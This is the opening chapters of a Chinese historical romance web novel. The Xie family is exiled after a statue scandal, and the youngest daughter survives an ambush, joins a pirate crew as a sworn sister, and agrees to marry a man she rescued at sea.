《觊觎臣妇多年后》
1. 变故
隆兴七年,三月三日,上巳节。
“三妹妹,快些梳妆打扮。大日子,可不能耽误。”谢婧寒在门外轻轻敲门,忍不住地出声提醒道。
谢家三妹,名唤姝真,年方十七,又是家中最小的妹妹。姐姐们都对她多有照拂,念在她年纪小的份上,总是由着她的性子来。
这不,上巳节这种大日子,已经巳时了,马车早早等在谢府外面,至今还没等来她。
又等了一炷香,见屋里的人还没有要出来的意思。谢婧寒只好又敲门三声,道:“三妹,我进来了。”
门厅里面传来一声:“辛夷,快去给阿姊沏茶。”
谢婧寒左脚踏进门,就被眼前的景象惊呆了,只见谢姝真绾了个灵蛇髻,但发髻上一个首饰都没有,竟全是紫楹花。
谢婧寒目瞪口呆,正欲委婉开口和自己妹妹解释一下,这是上巳节,是要去曲江池的上巳节,不是什么随便的日子。今天可是圣人亲临曲江池宴会群臣,达官显贵的女眷们都会在宴会上攀比的日子!是不能丢脸的日子!
谢婧寒思想斗争了半天,觉得自己还是有必要开口,但谢姝真这时却对着铜镜描起了眉,并笑盈盈的问道:“阿姊,你看我好看吗?这可是我煞费苦心,特意想出的好主意。等到了曲江池宴会上,保证那些女眷们,都要对我赞叹不已。”
几句话把谢婧寒要说的话全部堵回到嗓子眼,良久,她只好转移话题道:“其实我觉得,真真你戴上发簪也很美。前些日子,娘亲不是才去了珍宝阁给我们姐妹三人定做了新首饰,我记得你分到的那个——蓝宝石镶嵌的松竹蝠桃簪,可美了。”
谢姝真摇了摇头,道:“二姐,我不喜欢那个簪子,阿娘非要给我。这样吧,我让辛夷给你拿来,你今日戴着,一定更出彩。”
也不怪谢姝真,谢夫人当时定做了几根发簪,没有提前和她说,想等上元节的时候送给她。
她倒好,闲暇时间总去珠宝阁乱转,这不,和掌柜都搞好关系了。
那王掌柜见到她,很是亲切。毕竟她也是个冤大头,出手比谁都阔绰。谢家这两年因为负责开凿佛像一事,可谓是风头无量。
因此,谢氏女身份自然也是水涨船高。这体己钱,也比往日多多了。
谢婧寒摇摇头,“不必,这是阿娘的一番心意,不可糟蹋。”
谢姝真见姐姐这么一副认真的样子,便也知道姐姐就快要生气了。于是赶紧说道:“好阿姊,我这就让辛夷拿来这簪子,即刻簪上。”
说罢,她调皮地眨了眨眼,吩咐辛夷赶紧去取匣子。
辛夷先将茶奉上,道:“二娘子请慢用。”便福身行礼告退,去拿首饰匣子来。
谢婧寒摆弄着台子上的琉璃钗,见她走远了,这才语重心长地对着自己妹妹劝告:“真真,琉璃发钗这不也很好嘛,你找个喜欢的,我帮你簪上。这上巳节,不能只有一根簪子。你说,对不对?”
谢婧寒伸手就要把桌子上的琉璃发钗取走,谢姝真见状,便也只好嘟囔道:“知道了知道了,阿姊说得对。”
她乖巧地等着谢婧寒为她簪上琉璃发钗,谢婧寒也被她磨的没了脾气,转头就消气了。
别说,这发钗碰巧是紫色的琉璃,和紫楹花倒是相得益彰。
谢姝真心情也好了起来,调侃道:“想不到阿姊还有如此才能,到是我小看了。”
谢婧寒伸手刮了一下她的鼻子,抱怨道:“也就你这个小祖宗能让我这般做事。”
“阿姊,你最好了,你看,我都穿戴齐整了。只待辛夷取回簪子,我便可随阿姊出门前往宴会。”
“磨蹭了小半个时辰,还好意思说。羞不羞呀,真真?”
“哎呀,阿姊莫要笑话我。我只是爱打扮。”
婢女辛夷手捧珍珠匣子,放置在谢姝真的梳妆台上。
谢婧寒二话不说,伸手将匣子打开,把簪子取出,簪在谢姝真的发间。
“此刻可以走了吗?真真。还有没收拾好的地方吗?”
谢姝真摇成一个拔浪鼓,“没了,没了。这就走这就走。”
“真真,要知礼数。”
谢姝真心下明了,谢婧寒这是在批评她,不让她有失礼数,她立刻收起顽劣的一面,颔首道:“知道了,阿姊。”
“真真啊真真,早些年就不该让阿爹阿娘把你放到庄子里去养着。你看看现在……”谢婧寒本想多说两句,但是看自己妹妹的眼里全是迷茫,到嘴的话又咽回肚里,只剩一句:“小心些。”
谢姝真挽着她的手,二人终于上了马车。
折腾了一顿,已经耽误了快一个时辰了,大姐谢婧萱看着一前一后上来的两个妹妹,忍不住责备道:“怎么回事?来得这样迟?”
谢姝真脸上就差写着“别看我”这三个字了,见大姐的目光如利剑般射来,她只好面对。
谢婧寒却抢着说:“三妹妹是在给阿姊做礼物,所以迟了些。”
一边说她一边冲着谢姝真使眼色。
谢姝真赶忙接话:“是啊,阿姊,我给你做钗子呢。”
谢婧萱见她们二人这样,只觉得好笑,但又想逗弄,“哦,那做的可是什么样式的?”
谢姝真“嗯……”了好一阵子没说出来一句所以然,只好求助二姐,谢婧寒见状,道:“阿姊倒时就知晓了,我们还是先行赶路吧。别迟了宴会。”
谢婧萱不再拆穿,对马夫说道:“陈伯,启程去曲江池。”
“是,小姐。”
马车晃晃悠悠走了小半刻钟,谢姝真只觉得自己又困了,便靠在谢婧寒的肩膀上沉沉睡去。
直到快到了的时候,大姐谢静萱才把她喊醒。
谢姝真回神过来,掀开帘子看到了外面车水马龙的景象,对两位姐姐感慨道:“阿姊阿姊,你们看,这么多人。”
两位姐姐对视一眼,都很有默契的嘱咐道:“噤声。”
谢姝真瘪了瘪嘴,一下子就不再讲话了。
她紧随其后跟着她们下了马车,往宴会里面去。
谢婧萱递给黄门一张帖子,领着两个妹妹进了宴会。
她嘱咐道:“切记,不可乱跑,圣人亲临,不能失了分寸。”
二人都点点头,并保证绝不会乱走。谢婧萱这才稍稍放下心来。
不知怎的,她今日心情不好,总是感觉有什么事要发生。但也说不上来,因此在席上,也格外的没有胃口。
往日她最爱酥山,今日却一口未动。
谢婧寒看她不悦,安慰道:“一会结束后回府上,我让柳絮在小厨房给你做玉露团。”
谢婧萱微微一笑,总算是好受了点。
她往谢婧寒后面的位置看去,见那位置上的人早已没了影,便着急的很,“二妹,三妹去哪了?”
“她方才被婢女弄湿了襦裙,如今去院中换了。想必一会就能回来,阿姊不必担心。”
正说着,圣人亲临。小黄门高喊道:“陛下到。”
谢婧萱立刻拉着妹妹跪下,端正地跪在蒲团上。
陛下入座后,道:“诸位爱卿平身,不要拘束。”
众人道:“多谢陛下。”
宴会正式开始,席上正演到第二个节目——剑器舞时,见一内侍匆匆到了圣人身边耳语。
谢婧萱顿觉不妙,心中警铃大作。
果不其然,黄门立刻叫停了舞剑的公孙娘子,宣韦机面圣。
韦大人诚惶诚恐地跪倒在圣人面前,等候圣人询问。
圣人眯起眼睛,漫不经心问道:“卢舍那大佛为何面部崩裂,可是有意为之?朕若是今日不来,倒不知你竟还有这等本事?欺君罔上,该当何罪?”
韦机两股战战,抖着身子:“回陛下,这雕刻佛像一事,全由谢大人谢封一人操办。还请,圣上宣他,一问便知。”
圣人微微皱眉,左手敲桌,道:“那就宣谢卿。”
片刻功夫,谢封也跪在了台上,等候圣人问话。
“谢卿可知,亵渎佛法是何罪?”
“启禀圣上,微臣不敢。大佛面部崩裂一事,臣实不知情。还望圣人,查明真相,臣着实无辜。”
圣人听到这话后,本就在气头上,拍桌而起,怒道:“好你个谢封,竟敢说自己无辜。来人,传朕旨意,谢封亵渎佛法,怠慢皇命。即日起,革职。谢氏全族,流放岭南。此生,非诏不得归京。”
“臣谢封,谢陛下隆恩。”谢封双唇发白,颤抖着领下圣人旨意。
谢婧萱一直握着谢婧寒的手,圣人说出“流放”二字时,她几乎快要晕过去。
还好,还好只是流放,她暗暗思量。
比起诛九族,流放已经算是圣上开恩了,毕竟亵渎佛法可是死罪。
谢家接了这个肥差,自然是引得人人妒忌。
但她没想到,这一日来得这么快。
谢婧萱默默祈祷,祈求菩萨保佑,让三娘别再回到宴会之上。
许是她的祈祷有了所用,谢姝真此刻正在院内欣赏着牡丹,见贵女们三五成群,在那戏水,亦或是正摆弄着佛供花。
她倒也生了几分想去玩水的心,她看了一眼辛夷。
辛夷明白自家主子什么意思,便接过披帛,鞋袜,让主子下水。
“三娘子,
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小心些。”她站在岸边说道。
“无妨,你且放心。”
谢姝真玩的不亦乐乎,见池中有一小黑鱼,很是稀奇。便想抓住黑鱼一观,她挽起袖子,转身去抓,却被池里的水藻绊住了脚。
一下,便栽倒在池中。
辛夷离得远,自然是没看清到底怎么回事,还以为自家主子又去后面的池子玩了,便也没多想。
谢姝真被这水藻绊的,呛了好大一口水,还睁不开眼。
这时,突然有双手撑住了她。她被这人带出了水面,也不知此人是谁。
她自小就害怕水进到眼睛,因此也只敢微微睁开眼睛,只能勉强看个人影。
她连这人是男是女都没看清,但依旧抱拳道:“多谢搭救。”
这人也没说话,扭头便走了。谢姝真觉得奇怪,缓了一会才又把眼全睁开。
早已不见这人的身影,她低头一看,霎时明白了这人为什么要走。
她的襦裙,已经全湿了。紧贴在身上,勾勒出自己的曲线,池子上飘着她的紫楹花,让人想入非非。
谢姝真脸立刻红了,她意识到,这人绝非女子。
否则,又怎会不等道谢便跑了。
好在她是一个懂知恩图报的人,人家是救命恩人,自然不能要求什么。她伸手招呼辛夷来,让辛夷给自己再拿一套衣服。
辛夷见自己主子衣衫尽湿,这不成体统的样子,简直是一个头两个大。
她快速的拿过一件披风,为三娘披上,道:“三娘子,这是落水了?可有受伤?”
谢姝真摇摇头:“不曾。有人救我。”
辛夷四处张望,也没见有人,道:“三娘子惯会说笑,奴怎么没看到有人在。”
“好像是个男人救了我。”谢姝真说道。
此话一出,辛夷连忙比了一个手势,示意她不要说话。
辛夷压低声音道:“三娘,男女不同席,怎么会有男子来?”
“不知,但我感觉是。”
“好了,三娘子。莫要多想了,赶紧回府去,方才听贵女们说宴会刚结束了。一会回去晚了,老爷和夫人可是要怪罪的。先换衣服,三娘子。”辛夷絮絮叨叨的念着。
谢姝真进了屋里,将衣衫换下,心里面不是滋味。
她自言自语道:哎,又惹祸了。在席面上换了三套衣服,幸好没人知道,要不又要被说了。
她抬手拿起一件鹅黄色的高腰襦裙,将自己的衣衫褪下,换上。
横梁上有个男子就这么静静地看着她换衣衫。
这人,分明就是刚才那个——救她上岸的男子。
谢姝真换好了衣衫,深吸一口气,离开了屋子。
这男子旁边还有一人,刚才谢姝真换衣衫的时候,这男子捂住了他的双眼。
现在,等谢姝真走后,那人不可置信地说道:“表兄,你怎么一直看她?莫不是喜欢上了?”
李虔愣了许久,他喃喃道:“真的是她……真的是她!”
他大笑起来,仿佛知道了什么了不得的事。
郑淮安见他这样,被吓了一跳,念叨着:“表兄你别这样啊,真的很吓人。”
李虔却看着他的眼睛,一字一句道:“现下是何年?”
“隆兴七年啊,表兄你怎么了?方才不是还好好的?”郑淮安看着他湿着的衣服,眼睛瞪大道:“表兄!你你你……是不是被鬼上身了!”
李虔斜着眼看他,一言不发。
隆兴七年,他才十六。方才明明还在处理政务,转眼便一下来到了这里。
李虔阴沉着脸,面无表情。
郑淮安这才放下心来,很好,这个人绝对是表兄,绝不可能是恶鬼。
恶鬼,可比他温柔!
郑淮安看他这样子,又小心翼翼地说道:“表兄,我托人给你问问此人来历可好?”
“不必,翌日孤需去海州处理水患一事,你不可胡闹。”
“也是,堂堂三殿下,怎么能娶这种不守礼节的女子。宴会落水,有失体统。”那男子语气嘲讽,面带不屑。
原来,刚才救谢姝真的人是——三皇子李虔。
李虔阻止他道:“不可无礼。”
见李虔不悦,他立刻说道:“知道了,表兄,不说了不说了。”
李虔盯着谢姝真离开的方向,注视良久。
上天待他不薄,竟让他来到了一切还未发生的时候。
这一次,他一定要改变真真的结局,让她好好活着。
让她的身心,永远属于自己。
李虔露出一个志在必得的微笑。
2. 海匪
谢姝真悠哉悠哉地坐在马车上,看着外面做胡饼的摊贩,不自觉地咽了咽口水。
辛夷见她这样,柔声说道:“三娘子,莫要耽搁时间,老爷和夫人会怪罪的。”
谢姝真见自己小心思被戳穿,只好掩盖道:“你说得对,这胡饼有什么好吃的。阿姊小厨房里的东西才好吃,我们这就回去。”
辛夷微微一笑,不再多言。
谢姝真自觉没趣,眼看着要到了谢府,她便掀开帘子,看看陈伯在不在门口候着。
果不其然,谢姝真不仅看到了陈伯,还看到了自己大姐——谢婧萱。
她依旧是那副端庄严肃的样子,不苟言笑,面若寒霜。
谢姝真心下立刻明了,看来是逃不过被说了。她腹诽道:完蛋了完蛋了,大姐嘱咐过不能乱跑。这次宴会上又没看到我,一会肯定又要念叨。
谢姝真等马车停稳后,不等辛夷搀扶,便自己跳下了马车。
两步快走到谢婧萱的面前,她端正行过一礼,“见过阿姊,阿姊安好。”
出乎意外的是,谢婧萱没有说她,而是牵着她的手,往正厅走去。
谢姝真觉得不妙,停下了脚步:“阿姊,你是不是有什么事瞒着我?”
“真真,一会到了正厅,万不能与阿耶、阿娘置气。说什么你就应什么,可知?”
“知道了,阿姊。我一定听你的。”
谢婧萱这才不再蹙眉,领着小妹到了正厅。
还未等进门,谢姝真就觉得气氛古怪,二姊跪在蒲团上,见她来了忙给她眨眼。
她一时也没弄明白到底是什么情况,便先行叉手礼。
“阿耶阿娘万福,真真归家晚,还望阿耶阿娘恕罪。”
“三娘,今日可从去过佛堂?”谢封开口问道。
“回阿耶,不从去过。”
“既如此,一会去佛堂前将佛供花摆好。”
谢姝真听到这句话,心里的大石总算落地,忙点头道:“知道了,阿耶。”
谢夫人看向谢姝真,见她这头发都没盘好,便抬手指了指她的发髻,道:“三娘,今日宴会你就是如此装扮?”
“回阿娘,儿今日不慎落水,才湿了发髻。”
谢夫人听后,沉默良久,道:“三娘,本不欲告知你今日发生何事。但你实在顽劣,不能不知此事。
你父亲今日宴会之上已被圣人革职,后日谢氏一族便流放岭南。
你不可如此了。”
谢姝真闻言,脑子“嗡”的一声就炸开了。怎么回事,这还要流放岭南,还是全族……
她正懵着,谢婧寒推了推她,这才缓过神来。
“阿娘、阿耶……怎会如此。”谢姝真喃喃道。
谢夫人见她这样,好不容易缓过来的悲伤又要溢出,她拿起帕子,为自己轻轻拭泪,道:“三娘,也别怪阿耶阿娘,你阿耶被奸人陷害,全族流放岭南已是圣上开恩。
今日,你就去佛堂前静心思过,往后,别再生出事端。”
说罢,谢夫人缓缓起身,和谢封两个人离开了正厅。
谢姝真一下子瘫坐在地上,浑身一点力气也没有。
谢婧寒把她搂在自己怀里,宽慰道:“姊姊在,不怕。姊姊一定能保护好你平安到岭南。”
谢姝真流下一行热泪。
谢婧萱上前搂住两个妹妹道:“从今以后,断不可骄奢淫逸,需一切从简。”
姐妹三人抱着,乱作一团。
三月初五,谢府门外。
谢姝真今日没赖床,早早起来把自己收拾妥当,在正厅候着。
谢封托人收拾好了家中东西,并吩咐镖局把物品押往岭南的韶州。
谢封看着面前站定的三女儿,心里不由感慨万千:当年祖父从南海县长途跋涉千里到了长安,考取功名,如今自己也算是另一种意义上的回家了。也不知祖父泉下有知做何感想?
想归想,他还是从腰间蹀躞上挂着的白玉瓶中取出一粒蜜饯,拿给谢姝真。
“阿耶对不起你,三娘。”谢封道。
“阿耶别这么想,我们一家团团圆圆的,比什么都好。”谢姝真接过蜜饯,放入口中。
还挺甜。
正说着话,她远远看到影壁那还有几个人影,其中一人和谢封长得极为相似。
她立刻看出是伯父来了,便对着谢封说道:“阿耶,伯父来了。”
谢封抬头看去,果不其然。他转而走到影壁前,对着自己的大哥、大嫂行礼,说道:“连累大哥大嫂,都是某的不是。”
谢文扶起他,道:“自家兄弟,本就如此。一荣俱荣,一损俱损。我已让薄兄去韶州买了渔船,安置屋子。相信,在岭南一带,我们谢家也能过上好日子。”
谢封拍了拍他的背,连声道谢:“大哥,辛苦你了。”
二人嘘寒问暖关照了一番,便招呼自家妻儿上马车,去往岭南。
谢姝真和二姊谢婧寒坐在一处,马车走了半个月有余,还未到岭南。
她的耐心也已经快要磨没了,在车上吃不好睡不好,舟车劳顿很快让她消瘦下去。
谢婧寒见她这样,便拿出自己珍藏多年的话本子——《叶净能诗》,递给她。
谢姝真眼睛都发光了,她是真的稀罕这东西。
只可惜,她不太识字,读不太懂。
但此刻不一样,这可是在南下途中,于是她笑眯眯地接过谢婧寒手中的书,津津有味的看了起来。
谢婧寒在一边看着她翻书,忍不住问道:“三娘,能看懂吗?”
谢姝真拿着书,蹙眉道:“勉强……”
谢婧寒看出她眼中的无措,“拿来吧,阿姊念给你听。谁让当年,阿耶阿娘把你放到了庄子上。”
谢姝真撇撇嘴,嘟囔道:“阿姊,其实我有在好好学字,只是它们看我眼熟,我不太认得它们。”
“等到了岭南,我亲自教你。”
谢姝真甜甜一笑,露出两个梨涡来。
又走了半月,才堪堪到了岭南东道。
这天,谢姝真正用杨柳枝洗漱,还没含下一口盐水,忽然听到有人骑马而来。
声音很大,路过的鸟儿都四散逃窜,可见人数众多。
她心道不好,该不会是,有人要杀他们了……
果不其然,谢姝真前脚刚指挥着小厮快些驾车,转头车上就被射成了筛子。
谢姝真一股恨意涌出:到底是谁,对谢家如此恨之入骨?
顾不上多想,她忙和二姊躲在马车下,混乱中却被羽箭射中了心肺。
谢姝真一下就栽倒在地,闭上眼睛之前是二姊谢婧寒哭着摇晃她的画面。
但她实在是太累了,怎么也睁不开眼,终是把眼睛闭上了。
等到她再次醒来的时候,已经是在船上了。
入目便是一盏烛火,随着风的吹拂,摇动着,似乎就快要灭了。
她低头看着自己,伸手摸了摸伤口。
有人给她包扎好了。
梳双髻的小丫鬟正准备给她换药,见她醒来,对外面喊道:“郎君,她醒了。”
肤色黝黑、满脸胡须的中年男子,闻言走上前来,道:“你醒了,这身体还需静养,不能久站。”
谢姝真见他有些眼熟,但一时也想不起来。
她抱拳道谢:“多谢侠士相救,在下想问,您可曾见过同我一起的那人?可知现在何处?”
那男子皱起眉头,苦苦回忆。
谢姝真立刻比划道:“是个女子,和我差不多高,着一身宝蓝色的襦裙。”
那男子摇头道:“没见过,你是我们在悬崖边救的,身旁并没有别人。”
谢姝真说不出的难受,心紧紧纠在一起,恐怕……
她不敢多想,不敢去想那个结果。
阿姊、二姊、阿
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耶、阿娘,你们到底在哪?
谢姝真抱头痛哭起来,那男子见状,劝导她:“只要你活着,就还有一丝生机。不要放弃,一定会有相聚的那天。”
谢姝真点点头,脸上全是泪痕。
她还是不够坚强。
男子说过几句话话后,便转身出去了。吩咐道:“琼娘,你费心照顾好她。”
“是,郎君。”
谢姝真和琼娘有一搭没一搭的聊着,这才得知刚才那男子的身份。
原来,那人就是昨日她看到的官府张贴在明德门榜墙上的通缉犯——季行舟。
这是,进了水匪窝了?
哎,谢姝真不想别的了。左右现在是他们救了自己,捡回一条命,还管别的干什么。
水匪就水匪,通缉就通缉。她自己就是流放岭南了,还管别人做什么?
无所谓了,躺平吧。
接受命运的馈赠和安排。
谢姝真躺在床上,继续问道:“琼娘,我们现在是在哪?”
“在汉泱湖。”
谢姝真心里一惊,自己到了岭南,现在又到了汉泱湖。
若是去找寻阿姊们的下落,岂不是还要南下?
她自言自语道:船开的可真快。
琼娘骄傲的抬起头,拍了拍胸口道:“别的不敢说,我们船航行那可是第一,官府都追不上。”
谢姝真笑了,官府都……追……不上……
琼娘还以为她是高兴的,接着道:“郎君可厉害了。”
谢姝真颔首。
是挺厉害的,也不知道今天是什么日子。
遂开口问道:“你可知今日是几月初几?”
琼娘回道:“三月初九。”
谢姝真心中盘算,原来已经过去四日了。
床舱那传来敲门声,谢姝真坐正后,道:“进来吧。”
季行舟进门后,快速表明了自己的来意,“不知你可愿意做我义妹?”
谢姝真指了指自己,道:“我吗?”
季行舟点头道:“前日有卦师为我卜卦,说这捡到的人与我缘分匪浅。”他看着谢姝真不可置信的样子,又说道:“若你不愿,便算了。某只是随口一问,冒犯之处,还望包容。”
谢姝真道:“大哥,且慢。我愿与你结为异性兄妹。”
谢姝真也没想到这么戏剧的一幕就上演在她的身上了,救人一命理当报答。
只是,这愿望实在是……
但季行舟就这一个愿望,她没有理由拒绝。
季行舟听到她答应了,立刻笑着吩咐道:“琼娘,让寨子里兄弟们筹备一应事宜。”
“是。”
不一会,琼娘就准备好一应事宜,忙喊着谢姝真出来。
谢姝真应了一声,从船舱走出来,在众人的拥护下发誓。
季行舟跪地立誓道:“某季行舟今日愿与贤妹谢姝真结为异性兄妹,从此有福同享有难同当,不离不弃!愿天地为证,绝不辜负。”
“承兄良言,妾谢氏姝真,愿与兄长季行舟结为异性兄妹。若违此誓,天诛地灭。”
“好!”众人欢呼声传来,载歌载舞,尽情享受好酒好菜。
谢姝真对季行舟笑了笑,道:“兄长。”
她起身行过一礼。
季行舟扶起谢姝真,“小妹不必客气,此后有事,尽管对兄长言。”
谢姝真点点头。
酒过三巡,众人喝的酩酊大醉,季行舟也不例外。晃晃悠悠的就回了自己的屋,临走前还不忘嘱咐弟兄们:“诸位兄弟慢慢饮,某不胜酒力,先行告退。”
“郎君慢行。”众人道。
谢姝真见他们这一行人都玩得开心,心里面说不出是什么滋味。
她也不会饮酒,只在席上吃了点肉饼。
天色渐暗,大家三三两两都散去了。唯有谢姝真一人坐在桌前,思虑量多。
3. 救人
谢姝真一手托腮,左手轻轻敲桌,她心里面憋着一股劲。
若是可以的话,她恨不得现在就能托人打听家人的下落。
突然,船身剧烈的摇晃起来。随着“砰”的一声,谢姝真一下子就被甩到了甲板上。
她忍着伤口处传来的剧烈疼痛,双手撑住甲板,晃晃悠悠地站了起来。
见海上狂风大作,甲板上四下散落着碗碟、凳子,她跌跌撞撞地跑到船帆处,将帆布卷起。
“娘子,您怎么在此处?”琼娘踉跄跑来,扶着桅杆,见谢姝真也在,很是惊讶。
“琼娘,我见海上突遇暴风,船只乱晃,恐有倾覆之险,这才特意来收帆。”
琼娘露出诧异的神色,道:“想不到娘子竟还知道这些事,我本以为……”
谢姝真不好意思地说道:“少时,因着身子不大好,阿耶阿娘将我放在庄子上休养。庄子靠着埠头很近,闲暇时我总爱去那跟渔民们说话。”
琼娘这才笑着赞叹道:“竟是如此。”
谢姝真见船晃得没那么厉害了,心里面还是有些害怕,她不禁问道:“琼娘,你看那海浪,黑的渗人。真的无事吗?”
“娘子不怕,虽然现下是有点不太安稳。但是好在我们船大,若是小船,自然不行。”
谢姝真紧紧抓着帆,面色凝重,应了句:“好。”
正说着话,她往远处瞧去,见不远处竟还有艘渔船。
这渔船孤零零地飘着,船身摇晃剧烈,抖动不已。
谢姝真此时在的这艘船名“霍山号”,是艘大船。船舱共有四层,下面还有货舱,即便一间船屋进水也不用怕。
但,渔船可就不同。
她奇道:“是我们的人吗?”
琼娘顺着她指着的方向看去,见的确有一艘小渔船,“恐怕是出海的渔民,这……
娘子你看,这船翻了!”
谢姝真刚才还在愣神,正想着怎么去渔船旁救人,见琼娘这么说,她赶忙看去。
果不其然,那船已然侧翻倒了。
“琼娘,舵手可在?”
“在,我现在就喊赵伯来。许是今日吃酒,赵伯和李叔都没清醒。我这就去,娘子小心。”琼娘嘱咐道。
“好,你也小心。”
海浪啸叫着,似要把人吞灭。
谢姝真在心里默默祈祷,上苍保佑,让这艘船上的人平安活着。
她经历了这一遭,才知道生命有多宝贵,不能就这么轻易的死了。
等了片刻,还不见赵伯和李叔来,谢姝真心急如焚。
她盯着那被海浪掀翻的渔船,大气不敢出。就这么看去,渔船旁好像有个红色的点,还在动。
她使劲瞪大了双眼,暗道:不好!这应该是个人!离得太远了看不清,但肯定是活人无疑了。
她顾不上多想,马上跳下船去,往那渔船处游去。
三月的海,到底是刺骨。又是暴风,谢姝真游一米滑两米,被海浪推着走。
她自己都觉得好笑:阿耶阿娘当年让她去庄子上休养,她学得一身好功夫,极擅泅水。
那日在池子里,只是被海藻绊住。
想必,即便没人救她,她也能自救成功。
她只是不喜欢眼睛沾水,但眼下要救人,便也顾不上那么多了。
一炷香的时间过去,她终于游到了渔船那。
她费尽力气撑着身子爬到侧翻的船上,见海水已没过船身大半。
她急匆匆地去寻找刚才那个红点。
等到她找到那人时,那人的双手紧紧抓着船板,谢姝真用了好大的力气才掰开他的手。
她拽着这人,低头一看,是个男子。
她拖着这人往前游,可彼时她眼睛进水,实在是有些难受。
谢姝真抬头看天,见黑云密布,心里惆怅不已:这可怎么回去啊?
好在谢姝真从来就不是个认输的人,她要做的事,就没有干不成的。
从前是,现在还是。
阿娘说过,无论身处何地,无论如何,你一定要拼命的向上爬。
谢姝真浑身充满了力气,憋着一口气,带着这男子往霍山号游去。
老天保佑,这人一定要活着。
费这么大劲救回来的人,绝不能被阎王爷收走。
偏巧,天公不作美,海上下起了暴雨。
谢姝真不敢耽搁,连呼气都不敢了,她生怕自己再晚一分,便是万劫不复。
凭着肾上腺素的飙升,她游得比去程还快,不到一柱香的功夫,便到了霍山号下面。
季行舟不知什么时候出来了,站在甲板上,见谢姝真拼命的拍着船舱,身边还带着一个人。
他急忙道:“三娘,我来救你。”
说罢,他指挥李叔调整船舵,让琼娘去拿竹竿,自己抛掷绳索。
不消片刻,谢姝真便和那男子一起被救上了船。
琼娘为谢姝真披上一件斗篷,她这才好了点,不再发颤。
谢姝真之前已探过男子鼻息,好在,尚有气。
也顾不得什么暴雨了,谢姝真刚才真是被淋的睁不开眼。好在,琼娘现在为她撑着伞。
她缓了缓,又马上狠狠的拍那男子的后背,压他的胸膛,逼其吐水。
那男子接连吐出好几大口水来,慢慢睁开了眼睛。
谢姝真见那人似是活了,便也泄了气,一下子脱力般栽倒在地。
季行舟见她面色苍白,马上将她抱起,送她回屋,谢姝真看着他喃喃道:“大哥,求你救救他。”
季行舟点头如捣蒜,沉声道:“三娘放心,为兄一定为他请最好的郎中医治,一定救活他。”
谢姝真这才舍得闭上眼睛。
实在是太累了,好痛,真的好痛。伤口浸着海水,又冷又疼。
谢姝真沉沉地睡去了,梦里好像有人一直在喊她的名字,她也不在意了。
随他们去吧,她真的需要休息。
梦中她是皇后,是那人的结发妻子。最后却生生的成了弃子,郁郁而终。
谢姝真看不真切那人的样子,只能朦胧的看到那人左肩上有一颗红痣。
最后隐约听到几句:“愿娘,等我。”
那人转身便走,不再停留。
奇怪,谢姝真心想:他怎么知道我是愿娘,这名字,从未告知旁人。
除非……这梦是真的!
谢姝真寒毛竖起,想了又想。
那这人定是太子无疑!唯有太子才能继承皇位。
既然她是皇后,想必之前是太子妃。
她急着弄清楚事情原委,便赶忙去寻那人的身影,却感觉到有人推她。
她慢慢睁开了眼睛,向前看去。
是琼娘。
琼娘在她床边哭得梨花带雨,好不可怜。
谢姝真喉咙又干又痛,沙哑着发出声音:“琼娘,我……在……”
琼娘正哭的厉害,见她终于醒来,猛的扑倒船边。
“三娘,你吓死我了。郎中说你今日再不醒,就要为你操办后事了。”
“怎么……会……我睡了……多久?”
“整整两日。”琼娘拿着袖子擦自己的眼泪,嗔怪道:“一天之内救了你两次,可不许你死。”
谢姝真闻言,噗嗤一下笑了。
真好,短短几日,惊天巨变。
上天安排了什么不重要,重要的是她活下来了。
琼娘见她笑了,恨铁不成钢般说道:“三娘,再等一会便可救那人,你为何这么着急?”
谢姝真也不知道自己为什么那么着急,可能是因为她刚经历过生死,不忍心看人苦苦挣扎。
哪怕,只需再等上一时半刻。
但她不敢赌。
她望
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着琼娘那蓄满泪水的眼珠,道:那人……可活了?”
“活着呢,他比三娘你醒的还早。郎君差人去给他瞧病,一点事没有。只是他撞到了头,什么都不记得了。
大夫为他施针诊治,这才堪堪转好,他叫,叫什么来着?”
琼娘绞着帕子,努力回忆。
想起来了,那人说他叫裴观廷!
她连忙道:“三娘,他说他叫裴观廷。”
谢姝真躺在床上,看着头顶,重复道:“裴观廷。”
“对了三娘,他还说要等你伤好见你呢。”
“见我?我有什么……好见的……”谢姝真疑惑道。
“许是想亲自登门道谢。三娘,我这就去喊他来,告诉他你醒了。”
不等谢姝真阻止,琼娘便一蹦一跳地跑出去,边跑边说:“三娘醒了,三娘醒了。”
谢姝真长叹一声,罢了,随她去吧。
到底是孩子。
她又闭上了眼。
不一会,屋外传来敲门声,那男子道:“裴观廷特来见过救命恩人,还望恩人准我相见。”
谢姝真强撑着从床上起来,快速把铺盖整理好,端坐在船上,道:“进来吧。”
她嗓子还疼着。
那男子“嘎吱”推门而入,三两步就走到了谢姝真的面前,抱拳行礼:“裴观廷见过恩人,恩人身体可无恙?”
“无妨……好多了。”谢姝真咳嗽着,淡定开口。
裴观廷见状,立刻为她端茶。
谢姝真接过,一饮而尽。
她放下茶杯,见裴观廷目露警觉,道:“不必忧心,这船很安全。等你伤好后,便可离开。断不会,携恩图报。”
裴观廷点点头,回道:“好,既如此,就不叨扰恩人了。恩人,请保重身体。”
得到谢姝真应允后,裴观廷转身便走。
他前脚刚出了门,后脚谢姝真就在那自言自语:这人,倒是长得不错。剑眉星目,堪称一绝。
值了!救了这么个美男回来。
谢姝真一股自豪感油然而生,谁说泅水没用?这不,用上了!
她躺在船上,静静地听外面雨落下的声音。
一个时辰后。
琼娘敲门而入,行至她的窗前,一把抓住她的手,道:“三娘,裴公子说要娶你!”
谢姝真一下子慌了神,道:“你从哪知道的消息,又胡说。”
琼娘撇撇嘴,不服气地道:“我偷偷听到的,方才他与郎君在议事堂,他亲口说的,断不会有错。”
“可他为什么要娶我?”谢姝真不解。
“一见钟情又是救命恩人。话本里不都说了吗?”琼娘不以为意。
谢姝真正欲反驳自己并不喜欢他,只是觉得他几分姿色。
还没等张口,裴观廷的声音便悠悠传来:“不知三娘可愿嫁我为妻?”
琼娘一看是裴观廷来了,忙站起来,乖巧行礼,道:“裴公子。”
裴观廷颔首,继而转头去看谢姝真。
谢姝真挣扎许久后,问了一句话:“你为何要娶我?”
她紧紧盯着裴观廷那双眸子,好似要从里面读出来答案。
裴观廷正视她,一字一顿道:“你既救了我,我自然要对你负责。女子名节最为重要,难道你想在海上一辈子吗?”
谢姝真似乎被说动了,良久,她道:“好,我愿意嫁你为妻。”
她心道:本来就要嫁人,左右不过是早晚的区别。而且,嫁给了裴观廷,这梦便不能成真了。
哪有太子强娶臣妻的。
不可能,绝不可能。
既如此,便嫁了。总比,在海上飘着一辈子好。况且,还要尽快去寻家人的下落。
